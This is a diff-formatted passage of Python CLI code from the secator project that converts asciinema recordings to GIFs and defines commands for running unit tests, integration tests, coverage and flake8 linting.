# Edit cast file to reduce long timeouts
|
|
521
|
+
with console.status('[bold gold3] Editing cast file to reduce long commands ...'):
|
|
522
|
+
Command.run_command(
|
|
523
|
+
f'asciinema-edit quantize --range 1 {output_cast_path} --out {output_cast_path}.tmp',
|
|
524
|
+
cls_attributes=attrs,
|
|
525
|
+
raw=True,
|
|
526
|
+
**DEFAULT_CMD_OPTS,
|
|
527
|
+
)
|
|
528
|
+
if os.path.exists(f'{output_cast_path}.tmp'):
|
|
529
|
+
os.replace(f'{output_cast_path}.tmp', output_cast_path)
|
|
530
|
+
console.print(f'Edited {output_cast_path}', style='bold green')
|
|
531
|
+
|
|
532
|
+
# Convert to GIF
|
|
533
|
+
with console.status(f'[bold gold3]Converting to {output_gif_path} ...[/]'):
|
|
534
|
+
Command.run_command(
|
|
535
|
+
f'agg {output_cast_path} {output_gif_path}',
|
|
536
|
+
cls_attributes=attrs,
|
|
537
|
+
**DEFAULT_CMD_OPTS,
|
|
538
|
+
)
|
|
539
|
+
console.print(f'Generated {output_gif_path}', style='bold green')
|
|
540
|
+
|
|
541
|
+
|
|
542
|
+
#------#
|
|
543
|
+
# TEST #
|
|
544
|
+
#------#
|
|
545
|
+
|
|
546
|
+
|
|
547
|
+
@cli.group()
|
|
548
|
+
def test():
|
|
549
|
+
"""Run tests."""
|
|
550
|
+
pass
|
|
551
|
+
|
|
552
|
+
|
|
553
|
+
@test.command()
|
|
554
|
+
@click.option('--tasks', type=str, default='', help='Secator tasks to test (comma-separated)')
|
|
555
|
+
@click.option('--workflows', type=str, default='', help='Secator workflows to test (comma-separated)')
|
|
556
|
+
@click.option('--scans', type=str, default='', help='Secator scans to test (comma-separated)')
|
|
557
|
+
@click.option('--test', '-t', type=str, help='Secator test to run')
|
|
558
|
+
@click.option('--debug', '-d', type=int, default=0, help='Add debug information')
|
|
559
|
+
def integration(tasks, workflows, scans, test, debug):
|
|
560
|
+
os.environ['TEST_TASKS'] = tasks or ''
|
|
561
|
+
os.environ['TEST_WORKFLOWS'] = workflows or ''
|
|
562
|
+
os.environ['TEST_SCANS'] = scans or ''
|
|
563
|
+
os.environ['DEBUG'] = str(debug)
|
|
564
|
+
cmd = 'python -m unittest'
|
|
565
|
+
if test:
|
|
566
|
+
if not test.startswith('tests.integration'):
|
|
567
|
+
test = f'tests.integration.{test}'
|
|
568
|
+
cmd += f' {test}'
|
|
569
|
+
else:
|
|
570
|
+
cmd += ' discover -v tests.integration'
|
|
571
|
+
result = Command.run_command(
|
|
572
|
+
cmd,
|
|
573
|
+
**DEFAULT_CMD_OPTS
|
|
574
|
+
)
|
|
575
|
+
sys.exit(result.return_code)
|
|
576
|
+
|
|
577
|
+
|
|
578
|
+
@test.command()
|
|
579
|
+
@click.option('--tasks', type=str, default='', help='Secator tasks to test (comma-separated)')
|
|
580
|
+
@click.option('--workflows', type=str, default='', help='Secator workflows to test (comma-separated)')
|
|
581
|
+
@click.option('--scans', type=str, default='', help='Secator scans to test (comma-separated)')
|
|
582
|
+
@click.option('--test', '-t', type=str, help='Secator test to run')
|
|
583
|
+
@click.option('--coverage', '-x', is_flag=True, help='Run coverage on results')
|
|
584
|
+
@click.option('--debug', '-d', type=int, default=0, help='Add debug information')
|
|
585
|
+
def unit(tasks, workflows, scans, test, coverage=False, debug=False):
|
|
586
|
+
os.environ['TEST_TASKS'] = tasks or ''
|
|
587
|
+
os.environ['TEST_WORKFLOWS'] = workflows or ''
|
|
588
|
+
os.environ['TEST_SCANS'] = scans or ''
|
|
589
|
+
os.environ['DEBUG'] = str(debug)
|
|
590
|
+
|
|
591
|
+
cmd = 'coverage run --omit="*test*" -m unittest'
|
|
592
|
+
if test:
|
|
593
|
+
if not test.startswith('tests.unit'):
|
|
594
|
+
test = f'tests.unit.{test}'
|
|
595
|
+
cmd += f' {test}'
|
|
596
|
+
else:
|
|
597
|
+
cmd += ' discover -v tests.unit'
|
|
598
|
+
|
|
599
|
+
result = Command.run_command(
|
|
600
|
+
cmd,
|
|
601
|
+
**DEFAULT_CMD_OPTS
|
|
602
|
+
)
|
|
603
|
+
if coverage:
|
|
604
|
+
Command.run_command(
|
|
605
|
+
'coverage report -m',
|
|
606
|
+
**DEFAULT_CMD_OPTS
|
|
607
|
+
)
|
|
608
|
+
sys.exit(result.return_code)
|
|
609
|
+
|
|
610
|
+
|
|
611
|
+
@test.command()
|
|
612
|
+
def lint():
|
|
613
|
+
result = Command.run_command(
|
|
614
|
+
'flake8 secator/',
|
|
615
|
+
**DEFAULT_CMD_OPTS
|
|
616
|
+
)
|
|
617
|
+
sys.exit(result.return_code)
|